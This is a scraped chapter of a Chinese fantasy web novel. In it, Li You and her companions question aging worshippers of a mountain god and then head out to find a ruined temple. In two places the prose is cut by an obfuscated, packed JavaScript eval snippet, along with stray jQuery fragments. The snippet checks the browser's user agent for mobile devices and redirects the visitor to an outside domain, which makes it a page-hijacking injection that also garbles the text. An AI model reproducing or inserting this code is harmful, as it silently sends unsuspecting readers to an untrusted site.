“阿正哥,你让我给你带的糖。”金悠把手里的包裹拆开,又掏出一小颗油纸包着的糖,细细拆开,递到庄正面前,“哎?黎兄也在,黎兄,你吃糖不?” 听到金悠叫“黎兄”时,黎宥恍惚了一下,自从被那小孩儿拆穿之后,走在大街上就好像个被剥光了的洋葱,处处不自在,好一会儿才想起来回答金悠。 庄正道:“这小子可比你有心多了,天天都给我带吃的,都不重样。还给我讲故事,你别说啊,这生活倒也挺滋润。” 金悠在淮池没有家人,唯数不多的朋友就是他俩,还有书馆的老板。他喜读书,成日游走于各个书馆书摊之间,一泡便是一整天,自然就和老板打好了关系。庄正让他住在自己家,他却难为情,许多时候,他直接就睡在书馆里,把书馆当家了。 三人捎带脚儿在后厨商讨起来。 最终他们决定,由金悠带着他们,找到那些仍然在供奉山神的人们,了解在久远的以前,关于山神和淮池。此举虽笨拙而耗时,却是他们斟酌之下能想到的最稳妥的办法了,既然往前不知如何是路,不如回头看看。 庄正七天之后才能被“刑满释放”,于是三人便约定七天后在汇庆坊后厨再见。 淮池四山环绕,水汽难以流通。自入秋后,这是淮池下的第一场雨。雨点儿是静悄悄从空中飘落的,进而慢慢下大,砸得商铺上的雨棚子噼啪作响。 黎宥找了个雨棚躲雨,空气闷得慌,闻着久违的水汽味道,她不禁想起来几月前的那场血雨,漫天的红,艳丽又可怖。也就是从那场雨中,黎宥得知了山神的存在。不过话说回来,那场红雨究竟是为何而生?那日并无人放火,又怎会重现当年妖怪屠戮之象呢? 她断断续续思考着,呆呆地望着雨幕。旁边躲雨的人都陆陆续续走光了,忽然,一个黑影压在上方。 一双崭新的黑色雨靴停在她面前,轻轻溅起几朵水滴。雨靴的主人开口,沉沉的声音从头顶飘来:“喂。” 黎宥悠悠抬头,好像早料到来者何人似的,佯装生气,道:“来得真晚。” 嵩见她站了起来,便把手中伞递给了她,自己走进雨中。 黎宥被他这傻子行为弄得一愣,踌躇了半晌才追上去,在他后面大喊:“你发什么病啊?我告诉你你要是生病了我可没钱给你治病。” 嵩头也不回道:“我不喜欢和别人撑一把伞。” 黎宥停在原地,就这么目送他远去,她觉得迟早要生病的不是他而是自己。 “自作孽。”她撇了撇嘴,“谁稀罕搭理你似的,活该被人捅一刀,早知道养了个没长脑子的当时就不该救他。” 雨下得越发猛烈,黎宥也不急,横竖走进家门都要看见那个人不人鬼不鬼的东西,还不如在外面赏雨。 “唉,总这么讨厌人也不是一回事儿。”黎宥嘀咕道,“苦是苦了我自己,但绝对不能放他走。这人真是捉摸不透,亏我昨天还把那些事儿都说给他听,还以为他会好好跟我合作呢,切,白眼狼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444897|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七日后。 连着七天,那个小男孩都坚持不懈地跑来黎宥家里,吃得不多,倒挺快活。他说自己名叫阿落,非要跟师娘一个姓,就自己赐名为黎落。 不过,他倒是劝服了嵩跟着黎宥一起行动,省得黎宥动嘴。 汇庆坊照旧门庭若市、座无虚席。黎宥带着一大一小熟练地绕到后厨,果然看见庄正和金悠已经在等着她了。 她大摇大摆走了进去。 庄正看见她,却不但没有兴奋,反而一脸嫌弃一脸厌恶地指点道:“不是……黎宥,你这是要干嘛?这是我们的私事儿你怎么带了他来?”他恶狠狠地盯着嵩,又指了指旁边矮矮的黎落,“还有个小不点儿,这当我们是要去逛集市呢?” 黎宥分别看看身后两人,嵩面无表情,黎落和她相视一笑。她平静地说道:“一个我的保镖,一个我的帮手,怎么?我这叫有备无患。” 庄正气不打一处,泄气道:“哎行行行,那赶紧走吧。金悠已经找好人选了。”说罢拍了拍金悠的肩。 金悠乖巧地点点头,手里还紧紧握着一本小册子,那是庄正送他的生辰礼。 一行五人走在街上,不论横着走还是竖着走都很引人注目。黎宥提议,大家分成两队走,省得费时又费力。 不出意外,庄正立马拉着金悠飞走了,趁天色正好,他们即刻出发了。 嵩和黎宥一路上都严肃地走着,只有黎落异常兴奋,嘴里一直嚷嚷着“我要行侠仗义,我要走遍天下”,黎宥无奈摇了摇头,心说这小孩好像也没那么讨厌,他有这份冲劲儿,真像极了八年前的她,无忧无虑,成天撒欢,天不怕地不怕。 黎落很熟悉淮池的街道,还有各家各户都住在哪,住着什么人。故而一路上都是他走在前面带路。 不知道金悠是怎么找到这些犄角旮旯里的人的,根据他给的标注,黎宥他们找到了第一处。 这屋子看着挺大,却是冷冷清清的,能看出来这院子的花树曾经开得满墙殷红,如今却只剩枯枝败叶卡在栅栏之间。连屋蓬的茅草都发黑了,不知这里住着什么人。 黎宥叩了叩门,很快,门就开了一条缝。 “你们是什么人。”是个老妇人,声音居然很沙哑粗糙,听起来像用鞋底摩擦石灰地面。 黎宥道明来意。老妇人毫不犹豫地“啪”的一声合上了门。 正思忖着再找个什么说辞,本来跟在黎宥身后的嵩却走到门前,把门推开直直地走了进去。 “哎不是,你别乱来啊,礼貌点!”黎宥伸手去抓他,可嵩走得实在是快,一句话功夫就走到了老妇人面前,死死地盯着她。 老妇人瞬间怂了,颤颤巍巍地说:“你……你要干什么?” 嵩也不说话,跟个死神似的杵在地面。 黎宥跑上前来给她道歉,老妇人方才的爱搭不理全然不见,求饶般道:“你们想知道什么……我说、我说。” 他们被老妇人请进屋里坐。屋子明明不偏僻,却让人觉得很萧条;明明住着人,却看起来一点人气也没有。 老妇人说:“我非淮池人,我是从靖西嫁过来的。”靖西乃淮池的邻近国之一,与淮池仅隔着一条海,“这屋子,本是我夫君家的,人死光了,就留给我住了。我懒得打理,这么大的屋子,也打理不完。” 黎宥问她:“那为何不把房子卖了买一个小点儿的屋子呢?” 老妇人瞥了她一眼:“不是我不想卖,是这屋子不吉利,根本没人买。” “你不是问我,关于那个山神吗?早些年,我的确敬拜这儿的山神,我日日上香,祈祷他护我们家世代安康繁盛。”她忽然停下来,看向黎宥侧后方的一处神龛,黎宥回头看去,那里摆着一座神像,还有一些牌位。 “可是有一日,我的夫君得了严重的寒疾,请了许多郎中来都看不好,上上下下什么药都吃了也不见效。我便更加勤奋地上香祈祷,甚至去给香火庙捐了不少钱,终于有一日,我得到了山神的托梦,他在梦里告诉我,去依云山上找一株开着一朵母花,三朵子花的药草,给夫君吃,他的病就会好。 “我照做了,上了山,还真在不深处找着了这种药草。可是我夫君吃下去以后,非但没有好转,反而更加病重。我忘不了他痛苦的眼神,我记得他临死前双眼红得就如同浸了血水一般,身上爬满了青黑色的毒素……”她说着,眼神犀利起来,仿佛带着无尽的怨恨。 三人听得入神,老妇人咬着牙继续说道:“原先,我也只认为那是我夫君福浅祸深。可是自从夫君走后,家里的老一辈人全都死的死、疯的疯,我不停地求神拜佛,可我点的香火越来越多,我的家,却散得越来越快。”她的声音弱下去。 20. 进展 眼睛是会说话的,老妇人心里有一层雾,于是她的眼里也有一层雾。可还是挡不住,瞳孔微晃间,诉说着绝望,无助,家破人亡时的悲痛,以及从心底疯长的忿恨。 黎宥的视线无法从老妇人身上挪开,家破人亡之痛,她亦亲身感受过。只是这老妇人,她要更长时间地处于这种千刀万剐之中,仿佛悲痛被无限拉长。 “……为何如此?”黎宥特地等她情绪缓和些了才继续问道。 老妇人长长叹了一口气:“我知道,我们家兴许是不被山神看好的一家。呵……”她无奈地哼笑着,“我以为,只要我来到了这片土地,就完完全全属于这里的人了,只要我诚心诚意,山神定会保佑我家。” 她用手撑着桌面,费力地站起来,走向供着神像的桌子。黎宥也随着她把视线转了过去,只见她正缓缓从抽屉里抽出几支贡香,点燃了,闭上眼睛虔诚地祈祷着,嘴里念念有词。 待香支稳稳立在香灰上时,她才转身道:“我早已不拜什么山神了,恕我直言,山神根本就是个幌子,是寺庙骗钱的话术罢了。至于那个梦,呵,权当我运气不好吧。” 此话一出,黎宥便坐不住脚了,她正欲起身争执,却被嵩拉住了。 “我啊,现在只拜西海神。那是我们靖芳,人人敬仰的神明。我憎恶淮池山神,若你们是来劝我给他点香火的,那你们可以离开了,不送。” “西海神……从未听说。”黎宥暗自呢喃。 提到那所谓西海神时,老妇人面目慈祥,语气敬重。可一旦说到山神,这两个字就好像是一块烧红的烙铁,把她的心烫烧得锈蚀、烫得破碎。 从老妇人的家中走出来后,黎宥像倒苦水一般,脸色难看地数落这老婆子:“她岂能对山神如此不敬!光凭借一件事就把山神放在脚底下踩,好歹是五百多年来一直守护着淮池的神啊。”她忽然揪着嵩的衣领,“你当时就不该阻止我的,我们此番找人,就是为了巩固那些仍在供奉山神的人,我不容许有人抹黑他。” “你很激动。”嵩瞥了眼她紧抓不放的手。 “我又不会对她动手……”黎宥推了他一把,没推动。 “看来你比她还固执。” 黎落突然从他们后面挤到中间,插嘴道:“师父师娘你们不要说这么大声,咱们这都还没走多远呢,可别叫那老妇再听见了心里难受。” 黎宥弹他额头:“你这小屁孩儿懂什么,大人说话休要插嘴。” 黎落指了指嵩:“师父都没生气师娘为何要生气呢?” “谁是你师娘。”黎宥翻了个大大的白眼,本来这老妇人的态度就让她忿忿不平,还来个小孩儿火上浇油。 按照金悠给的名单,黎宥一个一个接着找了,结果都收获不大,不是说神像是菜市场随便买的,就是祖辈一直保留着的习惯,当成任务了。没有人记得山神和淮池久远的过往,就像仅仅八年前的战争大家都渐渐淡忘了。 “真难办。”黎宥道。 天色暗下来之前,黎宥回到汇庆坊,见庄正金悠已经在等着他们了。 不出所料,庄正那边亦没有得到什么结果。但是庄正提起了其中一个人。 “黎宥,你还记不记得我们初次上山时半路遇见的那个老爷子?哎呀,就是我说长得像老太监的那个。” 黎宥颔首。 “没想到我们找的人里就有一个是他。我们找到他时他正在给神台擦洗呢,可惜我们一问他,他竟然说自己也不知道拜的是何方神圣,只是他妻子生前很是看重拜神的事,故而在妻子死后他仍日日替她祈愿。” 黎宥道:“这有何特别的,我们找的人里也十有八九不知道自己拜的是什么神。若非我见过山神像,供台上摆着的那些木头泥人儿我还以为是玩具呢。” 庄正打了个响指:“这你便有所不知了。我们忽略了一个非常重要的东西,而正是这位太监爷爷,我才想起来这件事。” 黎宥凑近了问道:“何事?”她已尽己所能将知道的一切在脑海中列举过,难不成还有疏漏? “神庙。”庄正道。 神庙……!黎宥心中一怔,竟让她忘了这个地方。她从一开始要寻找山神时,便是从山上的神庙找起的。 庄正环视四周,发现并没有人注意到他,好像有些失望。他说道:“没错,也是他说起他妻子生前最常去的地方就是山上的神庙,我才想起,这个只存在于计划里的地方。” “并非只存在于计划里。”黎宥轻轻皱,“我见到过,进去过了。” 庄正和金悠立马投来惊讶的目光,他们初次上山时被迫与黎宥分开,后来便只有黎宥一人找到了神庙。 其实黎宥不太好意思说,因为那神庙好像是嵩住的地方。 她偷偷瞄了一眼端坐在一旁的嵩,见他略带疑惑地转头看她,黎宥赶紧把眼睛缩回来。 黎宥清了清嗓子。 “那神庙的确没那么难找,只是呢,我找到的时候,那神庙已经是一片废墟了。” 黎落又打断她:“师娘你竟然见过那个山神庙吗?据说它被毁坏之后就很难找着了,就连那些常去的人们也莫名不记得了路。” 黎落这一番话让几人都转移了注意力,庄正像是想起来了什么,忙道:“哎对对!我就说我母亲以前经常上山拜神的,却在听说那神庙没了之后看也不去看一眼,连家里到处都是的供台都叫人撤了去。” “怎会如此离奇?不过这样倒是说明了为什么那神庙如此难找,且连记录都极少。”黎宥双眼睁大,讶异道。“对了,那神庙虽已是废墟,却古怪得很,总让人觉得像是有什么东西在悄悄监视你似的。我走过那山神像时,便觉得,我往哪里走,神像的眼睛就往哪儿看……” 一直沉默不言的嵩却打断了她:“你进去了。” 还没等黎宥回答,他便严肃道:“我说过你没必要知道那里面是什么。” 黎宥荒谬地笑出了声,道:“那不就是一座神庙吗?里面,有神像,还有乱七八糟的柱子横梁,这些东西我知道了影响你心情?你又没面子了?” 嵩哽咽了,他瞪了黎宥一眼,随即又把眼睛低下去,暗暗松了口气。 庄正吐槽道:“捡个臭脸儿回来还不是天天气自己——照你这么说看来我们非再去会会那破烂神庙不可了。” 黎宥点头,道:“正有此意。” 神庙之事一提,黎宥的记忆仿佛被突然唤醒般涌了出来。细细想来,似乎这神庙真有什么神奇的力量似的,只要碰到与它有关的话题,很快就会把它忘记,好像一只无形的手,把关乎神庙的一切从这世上彻底抹去。 在神庙里头见到的黑鸟,以及倒吊在树上的神像,明明一切都那么可疑,黎宥却回头便忘得一干二净。 趁着冬天还没来,雪还没下,山上的路尚好走,黎宥迫不及待地往山里跑。 她一向很相信自己的记忆力以及认路能力,脚下一碰到山坡儿,便自信满满地奔走着。可没想到,预估一个时辰就能走到道地方,愣是走了半天都看不见什么神庙的影子。更差劲的是,他们好像来到了一个完全陌生的地方。 山上放眼一看都是树,脚下碎石杂草看得人眼花缭乱。他们迷路了,在大山里渺小得就像一坨不起眼的泥。 黎宥尴尬地原地转了两圈,手指快要把下巴搓出一层皮。 庄正若无其事道:“是谁说那神庙好找来着?” 金悠手足无措地看看庄正又看看黎宥,小声地说了一句:“呃……那个,今天我没有带地图。” 这下可怎么办?黎宥心急如焚。忽然,她看到了站在一旁看风景的嵩,才想起来,这神庙不是嵩的“家”吗?怎么把他这个野人给忘了,好歹当时也是在山里上蹿下跳健步如飞的人啊。 黎宥一拍手,走到嵩的面前,一脸崇拜的模样问他一定知道路吧? 嵩点了点头。 …… 黎宥双眼一压,边笑边咬牙切齿地揪住嵩的领子,大声道:“知道你不早说!你跟来就是为了看笑话的吗?!” 嵩死死摁着自己的衣领,道:“原来你知道自己是笑话。” 黎宥就要一拳抡过去,被黎落跳起来制止了。 嵩又说了一句:“你还和上次一样,这么冲动。” …… …… 遥远的一圈年轮中,黄土大地之上,邦国兴盛,极目眺去,铅色的城墙矗立,士兵威严,各式旌旗蔽空,好一个文明盛世。 那是比邻海岸的一个城郡。 它原本是个什么大国的小小城,而因其依山傍水,三面靠着依云、凌云、挽云、念云四山,此独特地形,便逐渐独立出来,自成一体,成了小小国。巧然之下,原本是习法术的黎氏一族收服了一只祸山害水的妖怪,被百姓供奉为此国的掌权人。 于是乎,此名为“淮池”的国度,便诞生了。 人们于此地,安居乐业,至今已有二三百年之久。 在青砖黄墙上,已经无法窥见前朝的伤疤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他生的不十分出众,眉眼淡淡的,仿佛没有什么情绪,整个人看起来就像淮池的山中晨雾,温润儒雅的样子。 他从来只被允许在府邸里小范围地玩耍。如果说狭小的院墙拦了他爱玩的性子,那么父亲严格的管教就让他天真的心窒息而死。这孩子只因为一次在大街上说了句“我父王会魔法”,就被他的近侍当即用鞭子鞭了三下,并立刻折返回府。 有人听到当时随皇子一齐的侍从里有人说,皇子要是敢在众人前讲无关紧要的话,国主便会当众惩罚他,没人知道为何,他们这些下人也只单纯认为国主是个暴脾气。 他在王府生活了十二年,就到过市肆街道上玩过三回。这意味着基本上没什么人还记得他了,乃至战争之后,才有人提了一嘴说,唉,话说皇子应该才十来岁吧,这回看着没爹没娘的,真是可怜。 然而人们所见却是极片面的,他们眼中的皇子亦如此。可不为人知的是,这“皇子”只不过是个“幌子”,只有国主和王妃知晓,“皇子”黎宥,是个女孩。 如今,战争已是八年前的事情了。 生在这乱世里,哪有不可怜的,周围人都习惯了装模作样地活着,或许会有人说这多虚伪,但是事实上,谁会愿意低着头活呢? 但总得有人当地上的泥巴,人们才能在乱世里站稳脚跟啊。有人记得的,一定会有人心里还惦记着这个美好的国度。军官不记得,平民不记得……但是有个人记得。 黎宥记得。 她没有家了,这片土地是她唯一的归宿。自从战火以来,她的眼睛就注定要装满世人的眼泪的,她只要还活着,就注定要亲自去偿还,偿她父亲的血债,还她母亲的恩愿。 亲卫趁夜抱着所谓“皇子”冲出火海,把她安置在一个废弃马棚下,临死前还替她拍净了衣上的尘土,守着她直到天明。 天一明,黎宥就发现自己的人生陡然折转了。 幸得她天生聪慧精明,心智比同龄小孩高出许多。 不会有人听她哭闹,所以她淡然接受了这一切,捡起地上的包袱,心里盘算该如何谋生了。她还是选择继续以男性的身份活着,世道艰险,她还不愿做织布机前的村妇。 风飒飒兮木萧萧,风扬起时,黄沙才是历史的眼睛。 桥头,一位面容清癯的老者,一边缓慢蹀躞,一边嘴里念叨着。看他手臂上深色的瘢痕,应该是经历了战火后留下的。有人来赶他走,他也毫无怨言地离开,随即到另一个桥头去,重复着这些动作和言语。 有人说这是以前山里寺庙的老法师,也有人说这就一没了爹妈的傻子。 可这老者坚毅的眼神,似乎暗示着什么。